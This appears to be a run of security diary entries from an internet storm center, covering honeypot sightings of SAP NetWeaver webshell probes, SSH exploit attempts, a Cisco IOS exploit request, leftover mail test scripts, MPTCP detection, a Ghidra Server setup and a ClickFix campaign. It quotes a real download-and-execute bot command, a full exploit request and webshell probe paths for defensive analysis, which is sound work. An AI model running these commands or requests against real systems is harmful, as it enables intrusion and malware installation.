Just saw a new (to me) URL in our honeypot data today:
/irj/servlet_jsp/irj/root/ant.jsp
This request is part of a larger campaign to exploit SAP NetWeaver or to find already installed webshells.
The exploited vulnerability is "old": CVE-2025-31324. A perfect 10 CVSS score and the simple ability to upload files without authentication. Attackers have been using this vulnerability to upload webshells. Usually, these webshells end up in /irj/servlet_jsp/irj/root/.
One particular attacker, 82.26.72.21, is hitting the following URLs. Not all of these URLs are SAP NetWeaver-related. Also, check the odd misspelling of "upload.aspx" at the end.
| URL Path |
|---|
| / |
| /_layouts/15/start.aspx |
| /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx |
| /amp/upload |
| /ant.aspx |
| /ant.jsp |
| /ant.jsp/ |
| /ant.php |
| /api/upload |
| /api/v1/upload |
| /authenticationendpoint/ant.jsp |
| /commandcenter/ant.jsp |
| /commandcenter/deployWebpackage.do |
| /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 |
| /en-US/static/app/search/ant.php |
| /fileupload/toolsAny |
| /hosted/amp/upload |
| /images/ant.php |
| /images/pagebuilder/ant.php |
| /index.action |
| /index.php?option=com_baforms&task=uploader.upload |
| /index.php?option=com_gridbox&task=uploader.upload |
| /index.php?option=com_jce&task=plugin.display&plugin=browser |
| /index.php?option=com_sppagebuilder&task=media.directUpload |
| /irj/servlet_jsp/irj/root/ant.jsp |
| /m/webadmin/upload |
| /MagicInfo/ant.jsp |
| /MagicInfo/servlet/SWUpdateFileUploader |
| /NmConsole/ant.aspx |
| /NmConsole/Wug/Report/ExportReport |
| /Synchronization |
| /te/upload |
| /upload.apsx |
| /upload.aspx |
--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
Our honeypots use "Cowrie" to collect SSH data. With the emergence of the "sshole" vulnerability last week, we are now seeing an increase in attempts to exploit the vulnerability. Our data is a bit limited in this respect. Our honeypots collect only the first 255 characters of SSH passwords. Longer passwords are highly unusual and not used for the usual password brute-forcing we observe.
Our data starts showing the increase of the use of long passwords on November 1st. Since then, the number of requests has been increasing:
Raw Data:
| Date | Count |
|---|---|
| 2026-10-26 | 0 |
| 2026-10-27 | 0 |
| 2026-10-28 | 0 |
| 2026-10-29 | 0 |
| 2026-10-30 | 0 |
| 2026-10-31 | 0 |
| 2026-11-01 | 23 |
| 2026-11-02 | 0 |
| 2026-11-03 | 5 |
| 2026-11-04 | 58 |
| 2026-11-05 | 232 |
| 2026-11-06 | 713 |
| 2026-11-07 | 246 |
| 2026-11-08 | 51 |
The initial passwords we saw on November 1st do not appear to be related to the exploit. Ever so often, buggy brute force scripts enter commands intended for the post-login shell in the password field. Interestingly, these "passwords" may actually have worked, allowing these buggy scripts to run.
A typical "buggy" password is:
cd /tmp; (wget -q http://156.238.252.37:8000/bot.x86_64 -O /tmp/b 2>/dev/null || busybox wget -q http://156.238.252.37:8000/bot.x86_64 -O /tmp/b 2>/dev/null || curl -sk http://156.238.252.37:8000/bot.x86_64 -o /tmp/b 2>/dev/null); chmod 777 /tmp/b 2>/dev/
The first actual exploit attempt for sshole arrived on November 5th, with attempts that used an all "A" password. Here is a list with initial scanners:
| Source IP | Count | ASN | AS Name |
|---|---|---|---|
| 213.86.169.133 | 48 | AS8220 | COLT COLT Technology Services Group Limited |
| 152.233.50.185 | 44 | AS212238 | CDNEXT Datacamp Limited |
| 92.255.57.7 | 43 | AS55286 | SERVER-MANIA - B2 Net Solutions Inc. |
| 195.178.110.78 | 23 | AS48090 | DMZHOST TECHOFF SRV LIMITED |
| 109.94.173.13 | 15 | AS202660 | BRM-DataCenter "Uzbektelekom" Joint Stock Company |
| 87.241.132.12 | 10 | AS12297 | TELECOM-ARMENIA Telecom Armenia OJSC |
| 52.119.124.122 | 10 | AS32329 | MONKEYBRAINS - Another Corporate ISP, LLC |
| 185.2.148.137 | 5 | AS29119 | SERVIHOSTING-AS AIRE NETWORKS DEL MEDITERRANEO SL UNIPERSONAL |
| 220.77.237.35 | 5 | AS4766 | KIXS-AS-KR-KR - Korea Telecom |
| 82.74.132.129 | 5 | AS33915 | TNF-AS Vodafone Libertel B.V. |
| 220.70.219.98 | 4 | AS4766 | KIXS-AS-KR-KR - Korea Telecom |
| 154.80.128.173 | 4 | AS215925 | VPSVAULTHOST VPSVAULT.HOST LTD |
| 121.190.39.238 | 4 | AS4766 | KIXS-AS-KR-KR - Korea Telecom |
| 121.163.224.97 | 3 | AS4766 | KIXS-AS-KR-KR - Korea Telecom |
| 58.151.184.226 | 3 | AS3786 | LGDACOM-KR - LG DACOM Corporation |
| 62.210.173.100 | 2 | AS12876 | AS12876 Scaleway SAS |
| 183.99.38.238 | 2 | AS4766 | KIXS-AS-KR-KR - Korea Telecom |
| 112.162.23.132 | 2 | AS4766 | KIXS-AS-KR-KR - Korea Telecom |
I expect quite a few of these login attempts were successful for our honeypots, and I will follow up with more details as I extract them.
--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
This morning, I was browsing our honeypot data for any new and existing PHP exploit attempts. Instead, I first ran into some GeoServer exploits, but found them to be too boring to write up. This Cisco IOS exploit attempt was a bit more interesting. Still nothing new. I suspect this is for CVE-2023-20198.
POST /%77ebui_wsma_https HTTP/1.1
Host: [redacted]:8000
User-Agent: RootEvidence/1.0
Content-Length: 720
Connection: close
Content-Type: text/xml; charset=UTF-8
Opt-Out-Email: re-abuse@rootevidence.com
Opt-Out-Url: https://www.rootevidence.com/scanners
Accept-Encoding: gzip
<?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username><wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header><SOAP:Body><request correlator="exec1" xmlns="urn:cisco:wsma-exec"> <execCLI xsd="false"><cmd>uname -a</cmd><dialogue><expect></expect><reply></reply></dialogue></execCLI></request></SOAP:Body></SOAP:Envelope>
I highlighted the actual command (uname -a) above. But also interesting is the use of a "Opt-Out-Email" and "Opt-Out-Url" header. Rootevidence is yet another exposure/vulnerability management Platform. I couldn't find a standard that suggests them, and I think it is the first time I've seen them. Rootevidence has been using them since December last year, but this is the first time I noticed them.
Oh, and they are doing URL encoding for the "w" in the URL. I bet there are some stupid WAFs that fall for that.
--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
One of the early web application vulnerabilities I remember was CVE-2000-0411 [CVE]. This was a simple vulnerability in a CGI-bin script used to send e-mail. The vulnerability was pretty straightforward: Adding additional parameters to the URL leaked environment variables. Other vulnerabilities allowed setting the "To" address and were heavily abused by spammers. And if parameters were passed directly to the sendmail binary, similar vulnerabilities could allow arbitrary code execution.
Today, I noticed a slight resurgence in scans targeting e-mail scripts on our honeypots. Today, there are numerous scripts like the old "formail" scripts, and it is hard to link a specific vulnerability to any of these scans. But my main suspect is spammers looking for webforms that allow setting arbitrary "To" headers. The URLs I am seeing:
"/sendmail.php"
"/test-mail.php"
"/testemail.php"
"/config/mail_config.php"
"/mail_config.php"
"/email-test.php"
"/mailtest.php"
In particular, the "Test" part of the filename suggests that the attacker is not looking for production scripts, but for test scripts left behind during development. This, along with the requests for credential/secret files that top our "Leaderboard," points to a more fundamental issue: Code hygiene. Do not leave behind development artifacts that should never have reached a live website.
For example, some excerpts from a random "mailtest.php" script that came back in a Google search [mailtest]:
<?php
/*
DONT FORGET TO DELETE THIS SCRIPT WHEN FINISHED!
*/
$server = array(
'HTTP_HOST', 'SERVER_NAME', 'SERVER_ADDR', 'SERVER_PORT',
'SERVER_ADMIN', 'SERVER_SIGNATURE', 'SERVER_SOFTWARE',
'REMOTE_ADDR', 'DOCUMENT_ROOT', 'REQUEST_URI',
'SCRIPT_NAME', 'SCRIPT_FILENAME',
);
$to = ( isset( $_GET['email'] ) ? $_GET['email'] : FALSE );
$subject = 'Mail Test Successful for ' . $_SERVER['HTTP_HOST'];
$message = '';
{
$message .= sprintf( '%s: %s', $s, $_SERVER[$s] ) . PHP_EOL;
};
$success = mail( $to, $subject, $message, $headers );
The comment at the top says it all: This is not meant for production use, and even on a development site, it should likely be deployed only briefly for debugging. The script takes any "To" address from the "email" GET parameter and exfiltrates/displays part of the server configuration. It can be useful to scan your own hosts for some of these URLs as an additional control, but you really want to catch these issues during application deployment.
[CVE] https://nvd.nist.gov/vuln/detail/cve-2000-0411
[mailtest] https://gist.github.com/Porrapat/60ed7411d933122fc481
--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
Last week, an often-ignored TCP option, introduced in 2020, made the news due to a new vulnerability in Linux's implementation (RFC 8684, CVE-2026-98432)
Instead of looking at the vulnerability, I am using this diary to talk a bit about multipath TCP (MPTCP) and how you may see it used in your network.
Traditionally, TCP is a connection-oriented protocol. Connections are established between a client and server, and host IP addresses are not expected to change for a specific connection. This restriction to a specific path does not always match modern system architecture. For example, mobile devices may switch from a local WIFI network to a cellular network at any time. Having to re-establish TCP connections may break applications. At the same time, servers often have a hard time "filling" high-bandwidth links using a single TCP connection due to limits on Window Size and the sequence number range [RFC 6182]. MPTCP is supposed to solve these problems by allowing connections to be split and handed over between different IP addresses.
The only widely used implementation I have observed is iOS/iPadOS. In this case, IPv4 connections to Apple (17.0.0.0/8) often utilize MPTCP [Apple]. MPTCP was initially used for Siri, and later for other services like Apple Music.
Two versions of MPTCP are currently defined and used: v0 and v1. At first,
The MPTCP Option (0x1e, 30) is followed by a byte containing 4 bits indicating the subtype and 4 bits indicating the version (0 or 1).
+----------------+--------------+----------------+----------------+
| TCP Option | Option Length|Subtype| Version| Flags |
+----------------+--------------+----------------+----------------+
| 30 | variable | | 0 or 1 | |
+----------------+--------------+----------------+----------------+
MP_CAPABLE (subtype 0): Indicates MPTCP support. Both sides must include it in the TCP handshake for MPTCP support to be enabled. Each MP_CAPABLE option also carries an 8-byte key that will later be used to identify and authenticate the different sub-sessions.
MP_JOIN (subtype 1): A second TCP connection may join an initial connection using the MP_JOIN option. This connection will typically be initiated by the client, but may originate from a different IP address. The RFC does specifically allow the server to initiate the second (or additional) connection. The RFC states: "It is permissible for either host in a connection to initiate the creation of a new subflow, but it is expected that this will normally be the original connection initiator." Ports should be the same, but do not have to be. Of course, this also accounts for common firewall rules. The web server will likely listen only on port 443, and the client's firewall will reject inbound SYN packets.
DSS (Data Sequence Signal, subtype 2): Each TCP connection which is part of MPTCP maintains its own sequence numbers, and acts just like any other "normal" TCP connection. To stitch the content of multiple connections together, the DSS option is used. It maps the respective's TCP sequence numbers to the sequence numbers of the combined connection.
ADD_ADDR/REMOVE_ADDR (subtypes 3, 4): these options are somewhat similar to MP_JOIN, but instead of actually setting up an additional connection, they advertise (or remove) additional addresses or ports that can be used.
The best way to detect MPTCP is to look for TCP Option 30. Here are a few ways to do so:
Wireshark/tshark: Wireshark has a "mptcp" display filter keyword. As so often, Wireshark does make it easy.
tcpdump: There is no great way to match TCP options in tcpdump. But MPTCP packets, particularly SYN packets, tend to have large TCP headers, so a quick match on TCP header length can help. For example: 'tcp[12]>0xd0'
Suricata: Use the "tcp.hdr" keyword to inspect TCP options. The tricky part is that the option length isn't always the same. But there should be at least one MP_CAPABLE message that includes both the sender and receiver key, making this option 20 bytes long. The first three bytes are |1e 14 00| for version 0 or |1e 14 01| for version 1.
Snort: Snort does not have a keyword to inspect TCP options, and as far as I know, no way to filter for multipath TCP. The snort_decoder "experimental TCP option" alert only triggers on specific option types reserved for experimental use.
Zeek: By default, zeek does not log options, but it does offer the tcp_option and tcp_options events that can easily be used to log MPTCP. For example:
event tcp_option(c: connection, is_orig: bool, opt: count, optlen: count) {
if ( opt == 30 ) {
print(fmt("MPTCP between %s and %s", c$id$orig_h, c$id$resp_h));
}
}
[Apple] https://support.apple.com/en-us/101905
[RFC8694] https://www.rfc-editor.org/info/rfc8684
[CVE-2026-98432] https://www.openwall.com/lists/oss-security/2026/10/30/1
--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
Recently, I had to extract embedded files from a set of OneNote files (extension .one).
My onedump.py tool can extract individual files, so I would have to run this many times. To avoid this, I added a new feature to my onedump.py tool: producing JSON data. Several of my tools already have such a feature: they produce JSON data with the content of their analysis results.
onedump's option --jsonoutput produces JSON output with the content of each embedded file found inside the OneNote file. And it can do this for many .one files in one go:
onedump.py --jsonoutput *.one
To write these files to disk you can use my myjson-filter.py tool, like this:
onedump.py --jsonoutput *.one | myjson-filter.py -W hashvir
This will write all the embedded files to disk, their name will be the sha256 hash of their content plus extension .vir (hashvir).
Didier Stevens
Senior handler
blog.DidierStevens.com
Wireshark Release Candidate 5.0.0 was published: soon we can expect a new major version of Wireshark.
Didier Stevens
Senior handler
blog.DidierStevens.com
YARA-X's 1.22.1 is a bugfix version, it brings 2 bugfixes.
Notice that there was also a release of YARA: 4.6.0, and that this release does not include the YARA-X improvement that adds built-in functions to read 64-bit integers: int64, int64be, uint64, and uint64be.
This shows that YARA-X has replaced YARA.
Didier Stevens
Senior handler
blog.DidierStevens.com
Building your malware analysis lab is a key point before playing with malware. Today, thanks to virtualization, it's convenient to play with snapshots in your lab. Start a new investigation from a clean snapshot and take some more when you reached a critical step. But, if you need to revert to a previous snapshot, all changes applied to the VM are... lost! Therefore, it's important to store important data outside the VM.
If you do malware analysis with Ghidra[1], your work lives in "projects". A project is a ".gpr" file and a ".rep" directory sitting on the disk of your analysis machine. Every renamed function, comment, structure and bookmark you added is stored there. And,as said before, hours of work can be lost if your VM has issues or you restart to a clean snapshot. When you create a new project in Ghidra, it always asks you if you want a "shared" or "non-shared" project:
Ghidra ships with a component that many people ignore: Ghidra Server. It is included in the standard distribution (no extra download, no licence) and turns your local projects into "shared projects" backed by a central repository. Here are some reasons why it's useful to deploy one in yout lab:
From a requirements perspective, the server is lightweight. I'm running Ghidra 12.1.4 in an Ubuntu container on my Proxmox host, but any small Linux VM will do. Recommended specs:
To avoid incompatibility issues, use the same version of Ghida between the server and clients. Keep versions aligned!
Important remarks about networking:
Don't forget that this server will host malicious pieces of code! Treat it as hosting live malware and keep it in your malware analysis lab network! Nothing is executed there, but the repositories contain the raw bytes of every sample you imported. Sounds legit but never expose it to the Internet. Ghidra Server is a Java RMI service.
The basic setup is pretty easy. There is no official container image, but the distribution contains everything needed to run the server as a regular service. First, create a dedicated account, unpack Ghidra and create the repositories directory:
# apt install openjdk-25-jre-headless unzip # useradd -r -m -d /opt/ghidra -s /usr/sbin/nologin ghidra # cd /opt && unzip ghidra_12.1.4_PUBLIC_*.zip # ln -s ghidra_12.1.4_PUBLIC ghidra-current # mkdir -p /opt/ghidra-repos && chown -R ghidra: /opt/ghidra-repos
The configuration is in "server/server.conf". Set the repositories directory, the account used to run the JVM, and the server parameters:
Login
ghidra.repositories.dir=/opt/ghidra-repos
???????wrapper.app.account=ghidra
# Authentication: local Ghidra passwords, expire after 90 days
wrapper.app.parameter.1=-a0
wrapper.app.parameter.2=-e90
# Hostname announced to clients
wrapper.app.parameter.3=-ip
wrapper.app.parameter.4=ghidra.lab.local
# Repositories directory (must be the last parameter)
wrapper.app.parameter.5=${ghidra.repositories.dir}
The main authentication modes are "-a0" (passwords managed by the server), "-a2" (PKI with client certificates) and "-a4" (JAAS, to plug into LDAP or Active Directory). Leave anonymous access disabled. I'm using the local authentication scheme (-a0).
The "-ip" parameter is important: RMI returns this name to the clients, which reconnect to it on ports 13101 and 13102. If clients can't resolve it, they reach the server on the first port and then fail. If you want to bind the service to a single interface (your VPN interface, for example), add -i <address>.
Install the service, check it and create the users:
# /opt/ghidra-current/server/svrInstall # systemctl status ghidraSvr # ss -tlnp | grep -E '1310[0-2]' # cd /opt/ghidra-current/server # ./svrAdmin -add xavier # ./svrAdmin -list -users
New users get the initial password "changeme" (yes, unsecure...) and must change it at first login. The svrAdmin commands are queued and processed by the running server within a few seconds.
Now, you are ready to use your brand now server! Repositories are created from the Ghidra client:
Access for other analysts is managed from the client (Project > Edit Access List) or from the server, once the repository exists:
# ./svrAdmin -grant john +w MalwareLab # +r read-only, +w read/write, +a admin
A shared project still creates a .gpr file and a .rep directory locally! That's expected: they contain the connection settings, a cache and your checked-out copies. Importing a binary does not send it to the server. It remains a private file until you right-click it and select "Add to Version Control...". From then on, the workflow is similar to any source control system:
How to restore your project if your analysis VM has been reverted to a clean snapshot and the local project is gone? To get everything back, create a new Shared Project, connect to the server and select your existing repository (don't create a new one). The project tree is populated with all checked-in programs. If a file is still checked out by the old instance of the VM, right-click it, select View Checkouts and terminate the stale entry.
What the server can't give back:
Before deploying your own server, you can have a look at the ghidra-server project[2] that offers a free server for the RE community. But don't forget that, like any "cloud" service, you'll share your data!
Happy reversing!
[1] https://github.com/nationalsecurityagency/ghidra
[2] https://ghidra-server.org
Xavier Mertens (@xme)
Senior ISC Handler | SANS Principal Instructor | Freelance Consultant
Xameco | PGP Key
Introduction
On Wednesday, 2026-10-28, I ran across a ClickFix campaign I haven't seen before. Like several other ClickFix campaigns, this one uses a fake Cloudflare verification page. It targets both macOS and Windows.
I don't yet have a name for this specific activity, but this diary shares some screenshots and indicators.
Unfortunately, I was unable to get the macOS or Windows malware distributed through this particular ClickFix campaign.
Screenshots of the Activity
Shown above: Fake verification page with ClickFix instructions when viewed on a Windows host.
When I ran the command on a Windows host, the server hosting the malware responded with a 403 Forbidden error, and I was unable to proceed any further.
Shown above: Fake verification page with ClickFix instructions when viewed on a macOS host.
When I ran the ClickFix command on a macOS host, the domain for the server hosting the malware did not resolve, and I was unable to proceed any further.
Shown above: The domain in the ClickFix command for macOS didn't resolve.
Indicators From the Activity on Wednesday, 2026-10-28
The following is the chain of URLs that I saw from the domain hosting the fake verification page, js-static[.]cfd:
URL from the ClickFix text seen on a macOS host (domain did not resolve on 2026-10-28):
URL from the ClickFix text seen on a Windows host (Returned 403 Forbidden response on 2026-10-28):
Final Words
For the diary, I removed information on the legitimate but compromised web site that generated the ClickFix activity. However, we can pivot on js-static[.]cfd in URLscan to find several sites that will likely generate this traffic.
--
Bradley Duncan
brad [at] malware-traffic-analysis.net
